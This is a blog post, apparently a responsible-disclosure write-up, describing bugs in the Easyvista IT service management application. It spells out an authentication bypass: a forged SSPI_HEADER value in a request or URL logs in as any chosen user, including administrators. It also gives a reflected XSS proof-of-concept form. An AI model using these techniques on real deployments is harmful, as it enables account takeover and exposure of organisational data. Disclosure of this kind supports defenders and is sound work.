Android AndEngine Engine UML Class

Save the picture to your local machine and use a image viewer. If you try to view it using the browser it won't have enough resolution to be readable.

IsMessageAllowedByFilterEx

Just a reminder.

VU#273502 and change

Easyvista vulnerabilities quick view

I usually don't reverse text but sometimes I do.A couple of months ago I read some slides for a presentation about reverse engineering that stated capital letters "I don't reverse text" as a reference to web hacking. I'd like to state that sometimes I do, and I enjoy it; this being one of those occasions.

This post is a public disclosure of five bugs I found while at work, in an enterprise web application called Easyvista. Why the public disclosure you might ask? Not too often, but sometimes - mainly to friends that publish and expose their sites to the Internet - I pen test their sites for vulnerabilities. As problems are found, they're fixed as soon as I report them. This has no consequences because it's only one site, and once the bug is fixed the security hazard no longer persists. But, when dealing with applications and frameworks disseminated around the world, this sort of fix is not possible. The information of software vulnerability has to reach everyone, so those interested can verify if their platform is vulnerable, and fix it.  As I explained to the vendor, Staff&LIne, if done in a responsible and ethical manner, by allowing the vendor to fix the problem and notify their clients before going public, it is beneficial to all. Public disclosure done this way allows for users and security companies to become aware of the problem, and motivates them to contact the vendor for an update or upgrade of the software, mainly those clients who are no longer covered by a maintenance contract that automates this process.

Why should I update the application? It's just a web application. What is the risk to my organization?

Well, glad you asked. :) Besides corrupted data or exposure of management information, the real danger may lie in unauthorized admin access to the platform, as the application stores an organization inventory database: all machines, software, accounts, etc. This data can be used to leverage the information gathering phase of a major attack. So, if you're an Easyvista client please contact your vendor or support team as soon as possible and request for an update.

Let me introduce Easyvista to you by using the vendor words:

"EasyVista delivers a comprehensive, integrated, modular solution spanning the complete IT service management and asset management lifecycles. The EasyVista solution supports all 15 ITIL v3 processes including more than 300 out of the box workflow wizards."

And now, for something completely different: the technical details. Easyvista, as far as I care, is run in Apache web server. You can check this with any fingerprinting tool or just telnet it and observe the response headers:

HTTP/1.1 200 OK

Date: Thu, 05 Jan 2012 16:46:07 GMT

Server: Apache

X-Powered-By: PHP/4.4.1

The platform is developed in PHP, as seen by the accessed web page extensions (and the response headers - see above). The authentication is integrated with Microsoft's Active Directory (CAS model with SSO). The authentication is implemented in two different ways: a login page (/index.html) that requests your credentials, and a login pop box that asks for your credentials.

For what I can say, either of these authentications methods is vulnerable, because the flow path of execution and session setup ends up in the same vulnerable spot. Although, to be fair, I can’t really say if the vulnerability can be exploited if the SSPI module is not present as I didn’t access the application code.

The first authentication method, the login form:

The sequence of events when login in:

Let's peek at the index.php request:

POST /index.php HTTP/1.1

Host: XXXXXXXXXX

...

Content-Type: application/x-www-form-urlencoded

Content-Length: 107

url_account=50005&url_login=username&url_password=something&x=0&y=0&from_url=%2Findex.html

The second authentication method, uses SSPI Apache integrated authentication type.

This allows for NTLM negotiation, for example. Its execution flow is as follows:

Let's peek now at the index.php request:

POST /index.php?url_account=50005 HTTP/1.1

Host: XXXXXXXX

....

Content-Type: application/x-www-form-urlencoded

Content-Length: 36

SSPI_HEADER=domain_name%5Cuser_name

You see where we're going, right? (Yes, it is as easy as this.) Change the user_name to whatever user in the organization you want, and you get a session to that user. Remember that you're supposed to be in an Active Directory realm. So, you can grab a list of users from your outlook for example and try out any user, until you hit an administrator account.

The cherry on top of the cake is that you don't even have to login or provide any credential. If you use a direct link, like this:

http://servername/index.php?url_account=account_number&SSPI_HEADER=windows_domain\username

You will get a full working session with whatever user you want.

Index.php is the guilty one here. It trusts data that comes from the user while badly managing session data. It assumes that the user is authenticated and no longer validates the credentials.

The second problem found lies in the redirection page, indexphp_redirect.php, and is a reflected XSS attack. Watching the response given by the redirection page, we can defer our script attack:

HTTP/1.1 200 OK

...

Content-Length: 503

Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="X-UA-Compatible" content="IE=7"> <!-- IE7 mode --><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head><body><form name="frm" action="/index.php?url_account=5005 method="POST"><input type="hidden" name="SSPI_HEADER" value="domain_name\user_name"></form><script type="text/javascript" language="JavaScript">window.document.frm.submit()</script></body></html>

The variable url_account is vulnerable to code injection, as long as an REFERER header is provided. I know you know how to spoof a REFERER header. Just set it to any value you want. As for the PoC, the following code will do the trick:

<html>

<head>

<meta http-equiv="X-UA-Compatible" content="IE=7">

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

</head>

<body>

<form name="frm" action="http://server_name/sspi/indexphp_redirect.php" method="POST">

<input type="hidden" name="url_account" value='50005" method="POST"><script>alert("ola")</script> <po="'>

</form>

<script type="text/javascript" language="JavaScript">window.document.frm.submit()

</script>

</body>

</html>

And the result: 

A couple more issues were found:

-          A session fixation problem that allowed for CSRF attacks.

-          A database fingerprinting thru SQL filter parser bypass. I didn’t work much on this one to see if SQL injection was possible, but as this item is not yet fixed, I won’t give any more details about it.

And that's it for today.

Hope you enjoyed it.